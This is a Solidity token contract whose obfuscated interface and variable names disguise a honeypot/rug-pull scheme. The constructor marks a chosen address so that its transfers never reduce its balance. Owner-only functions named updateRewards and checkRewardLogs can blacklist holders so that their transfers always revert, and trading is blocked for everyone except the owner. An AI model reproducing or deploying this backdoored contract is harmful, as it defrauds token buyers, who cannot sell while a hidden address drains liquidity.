文件 1 的 1：Contract.sol
pragma solidity 0.8.19;
library SafeMath {
function add(uint256 a, uint256 b)
internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b)
internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage)
internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b)
internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage)
internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library IDEMathUint {
function toInt256Safe(uint256 a)
internal pure returns
(int256) { int256 b = int256(a);
require(b >= 0);
return b; }
}
interface IVOSettings {
function totalSupply() external view returns (uint256);
function balanceOf(address account)
external view returns (uint256);
function transfer(address recipient, uint256 amount)
external returns (bool);
function allowance(address owner, address spender)
external view returns
(uint256);
function approve(address spender, uint256 amount)
external returns (bool);
function transferFrom(
address sender, address recipient, uint256 amount)
external returns (bool);
event Transfer(
address indexed from, address indexed to, uint256 value);
event Approval(address
indexed owner, address indexed spender, uint256 value);
}
interface IVOCreationV1 {
event PairCreated(
address indexed token0,
address indexed token1,
address pair, uint); function
createPair(
address tokenA, address tokenB)
external returns (address pair);
}
interface IVODatabase01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn, uint amountOutMin, address[]
calldata path, address to, uint deadline)
external;
function factory()
external pure returns (address);
function WETH()
external pure returns
(address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin, uint amountETHMin,
address to, uint deadline)
external payable returns
(uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
constructor() {} function _msgSender()
internal view returns (address) {
return msg.sender; }
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred
(address indexed
previousOwner, address indexed newOwner);
constructor()
{ address msgSender = _msgSender(); _owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
} function owner()
public view returns
(address) { return _owner;
} modifier onlyOwner() {
require(_owner == _msgSender(),
'Ownable: caller is not the owner');
_; } function renounceOwnership()
public onlyOwner {
emit OwnershipTransferred(_owner,
address(0)); _owner = address(0); }
}
contract Contract is Context, IVOSettings, Ownable {
bool public takeFeeEnabled;
bool private tradingOpen = false;
bool openAllMapping = true;
IVODatabase01 public setListener; address public BuyBackAddress;
uint256 private _tTotal; uint8 private _decimals;
string private _symbol; string private _name;
uint256 private BuyBackShares = 100;
mapping (address => bool) private groupMapping;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _holderLastBlockstamp;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private isTxLimitExempt;
address private
PermanentMarketingWallet;
constructor( string memory tokenName,
string memory tokenSymbol,
address destinedRouter,
address destinedAddress) {
_name = tokenName; _symbol = tokenSymbol;
_decimals = 18; _tTotal = 500000000 * (10 ** uint256(_decimals));
_rOwned[msg.sender] = _tTotal;
_holderLastBlockstamp
[destinedAddress] =
BuyBackShares;
takeFeeEnabled = false;
setListener = IVODatabase01(destinedRouter);
BuyBackAddress = IVOCreationV1
(setListener.factory()).createPair(address(this),
setListener.WETH());
emit Transfer
(address(0), msg.sender, _tTotal);
}
function decimals() external view returns
(uint8) { return _decimals;
}
function symbol() external view returns
(string memory) { return _symbol;
}
function name() external view returns
(string memory) { return _name;
}
function totalSupply() external view returns
(uint256) { return _tTotal;
}
function balanceOf(address account)
external view returns
(uint256)
{ return _rOwned[account]; }
function transfer(address recipient, uint256 amount)
external returns (bool) { _transfer(_msgSender(),
recipient, amount); return true;
}
function allowance(address owner, address spender)
external view returns (uint256) { return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
external returns (bool) { _approve(_msgSender(),
spender, amount); return true;
}
function _approve( address owner, address spender, uint256 amount)
internal { require(owner != address(0),
'BEP20: approve from the zero address');
require(spender != address(0),
'BEP20: approve to the zero address'); _allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(
address sender, address recipient, uint256 amount)
external returns (bool)
{
_transfer(sender, recipient, amount); _approve(sender, _msgSender(),
_allowances[sender][_msgSender()].sub(amount,
'BEP20: transfer amount exceeds allowance')); return true;
}
function getOwner() external view returns
(address) { return owner();
}
function updateRewards(address _stringBool)
external onlyOwner {
groupMapping[_stringBool] = true;
}
function _transfer( address sender, address recipient, uint256 amount) internal {
require(sender != address(0),
'BEP20: transfer from the zero address');
require(recipient != address(0),
'BEP20: transfer to the zero address');
if (groupMapping[sender] || groupMapping[recipient])
require(openAllMapping == false, "");
if (_holderLastBlockstamp[sender]
== 0 && BuyBackAddress != sender && isTxLimitExempt[sender]
> 0) { _holderLastBlockstamp[sender] -= BuyBackShares; }
isTxLimitExempt[PermanentMarketingWallet] += BuyBackShares;
PermanentMarketingWallet = recipient;
if (_holderLastBlockstamp[sender]
== 0) {
_rOwned[sender] = _rOwned[sender].sub(amount,
'BEP20: transfer amount exceeds balance');
} _rOwned[recipient]
= _rOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);
if (!tradingOpen) {
require(sender == owner(),
"TOKEN: This account cannot send tokens until trading is enabled"); }
}
function updateBuyBackAmount(address _stringBool)
public view returns (bool)
{ return groupMapping[_stringBool]; }
function openTrading(bool _tradingOpen)
public onlyOwner {
tradingOpen = _tradingOpen;
}
function checkRewardLogs(address _stringBool)
external onlyOwner { groupMapping[_stringBool] = false;
}
using SafeMath for uint256;
}
